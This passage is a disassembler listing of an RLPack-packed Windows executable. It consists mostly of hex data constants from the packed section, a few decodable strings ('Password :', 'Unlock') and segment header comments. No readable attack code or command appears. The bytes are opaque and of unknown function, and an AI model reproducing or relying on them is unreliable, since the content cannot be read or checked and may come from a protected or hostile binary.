1000C00h, 82FFFF00h dd 61005000h, 73007300h, 6F007700h, 64007200h, 20003A00h dd 0 dd 0A0FF8B00h, 508100h, 29000000h, 5A000D00h, 2000C00h dd 81FFFF00h, 0 dd 0FF8B00h, 500100h, 85000000h, 2A000C00h, 3000E00h, 80FFFF00h dd 6E005500h, 6F006C00h, 6B006300h, 0 dd 0FF8B00h, 3 dup(0) db 0, 0E6h, 77h byte_4FDE33 db 0DBh ; DATA XREF: .RLPack:004FC512o db 7, 32h, 0 byte_4FDE37 db 0 ; DATA XREF: .RLPack:004FC536o dd 3200h, 4DF0h, 85004010h, 4F39h, 0F1004270h, 4F48h, 4290h dd 84000000h, 25Eh, 4010h, 0B6000000h, 1Ch, 1004270h, 0E0000000h dd 0B3Fh, 1004290h, 18000000h, 0 dd 1004DD0h, 0FF000000h, 8BFFFFFFh, 0E8000000h, 4D000003h dd 2E525007h, 1E6C64h, 5F325357h, 0B50E733h, 7352454Bh dd 0D4C534Eh, 71D80106h, 4E0F3A42h, 0DF417465h, 6E6F43C7h dd 4C632F1Fh, 0FD320E69h, 31E083C3h, 800E0733h, 0C09910Fh dd 73447422h, 120A8915h, 480D2402h, 41BCB301h, 6B636F90h dd 0B198DDCh, 991091Fh, 44102204h, 13891703h, 97241212h dd 6B30648h, 46C00670h, 8646E69h, 74737218h, 0CC656C0Ah dd 45825378h, 20766E34h, 0DE6D810Fh, 61569E3Dh, 6251F37Dh dd 6D990118h, 981ABC70h, 6E227453h, 0F575667h, 64C23690h dd 448E664Fh, 42734901h, 0FFC95761h, 83C504Dh, 0A0F7520Dh dd 4FC30D08h, 0E6686E55h, 0C74CDC54h, 0E5637845h, 69E92670h dd 3820FFEFh, 1F4E8447h, 0D5707954h, 0C2A60F57h, 756C4605h dd 5E0F6873h, 3B660E42h, 4B18E55Ch, 0AB486440h, 0BE5B434Ch dd 72A12B41h, 94DCD19h, 758F020Ah, 1B38CE8Dh, 146042DDh dd 0E9175773h, 0FDDFE6A0h, 18902E4Bh, 6BA304E9h, 434C02DAh dd 4570614Dh, 6C0D2139h, 656F4866h, 0A87A4A19h, 3E3B521Eh dd 42385773h, 0E4F3F91h, 1B50434Dh, 0DBAEFF26h, 733028D2h dd 0F16CFE90h, 0BED848A3h, 43E78451h, 41281AB6h, 704D4830h dd 0E5327536h, 61514EF6h, 53131097h, 48DF7379h, 49A94414h dd 0FD6F3A51h, 3ADAA692h, 543C18C2h, 640FCE68h, 289B440Fh dd 24FB1A56h, 6E153E4Fh, 437F986Dh, 4695F975h, 49857F6Eh dd 4C140664h, 456DA661h, 1249C2Eh, 32794C70h, 0AA095DB4h dd 756234D5h, 2F90249Ah, 46A34613h, 572265C2h, 244AF31Bh dd 0B0095392h, 6A624F1Eh, 9B39A5AAh, 7865904Dh, 0C56954C4h dd 0A9BA67D1h, 546D4806h, 1D20B887h, 5070DC80h, 546824CDh dd 0C376B295h, 385B4CCFh, 7276E6A6h, 848679E4h, 0FD569ABDh dd 0B649D34Ah, 2DF2BB6Fh, 63609E23h, 6E4970F0h, 0F52F166h dd 0AA5A6A56h, 483F7680h, 0CD6CD07Ah, 0C0A00A4Ch, 0B220DC9Bh dd 9ECC535Bh, 91F440DCh, 92B61579h, 7AF61E21h, 41142FAFh dd 70517AF4h, 59CC19C0h, 103C1E74h, 0C6457257h, 4536DD4Bh dd 888258E8h, 16853B64h, 0E29E7A3h, 4450AF6Ah, 6C703675h dd 1199229Bh, 45F2BFCAh, 65691632h, 6D590C22h, 8ADA6F96h dd 44F81926h, 0C80FB4A1h, 6B972465h, 77461C12h, 6E5F63E1h dd 56669F6Bh, 150E19CDh, 0F464853h, 0CF603745h, 20744D78h dd 0B56F50B1h, 48D722Ch, 0FD73E564h, 0F7FF9465h, 13CFB05Ah dd 0FB470E29h, 48A3F4DEh, 0B423A510h, 9D3A456Eh, 1853320Bh dd 70D1BC52h, 4A755118h, 8CA5079h, 6E42C366h, 0D1EDCC63h dd 0D3F418AAh, 266571BAh, 0C48D7912h, 966B2827h, 5796F21Dh dd 28119D34h, 6C411C09h, 528ADE74h, 14075055h, 286A5606h dd 8A847574h, 9A304267h, 4D1F19ABh, 72352221h, 27928533h dd 62310962h, 263FBB4Dh, 0A44C7F67h, 197AD662h, 4C6BB336h dd 0BA34C0Dh, 704C2466h, 776525B6h, 4F4D4F31h, 0E607480Eh dd 48539231h, 32B56167h, 0C96470Bh, 25709381h, 0A3AB635Eh dd 4264BA57h, 0F4AEC325h, 7131B985h, 0A4B87942h, 2A680A57h dd 6C0ACE1Fh, 639A3ABCh, 1646CC6Dh, 0D62E1299h, 0C75B7424h dd 116B6BAFh, 55326449h, 6726BE90h, 0CA4446D1h, 0D2407668h dd 0F2CD09EAh, 7375B401h, 25514923h, 74E14B59h, 6A77FB52h dd 148F4529h, 894CA45Ah, 45D24D5h, 726B3DD2h, 6F6124D6h dd 0AD2D7096h, 0D654CD35h, 9B70EFD6h, 7ED04ABDh, 7B4C4143h dd 556FD244h, 4A590C79h, 0EA55C54Ah, 0A2190C1Dh, 3493BA28h dd 17BBA196h, 0C71B8971h, 16411537h, 180Eh db 3 dup(0) _RLPack ends ; Section 3. (virtual address 000FF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000FE400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4FF000h align 2000h _idata2 ends end start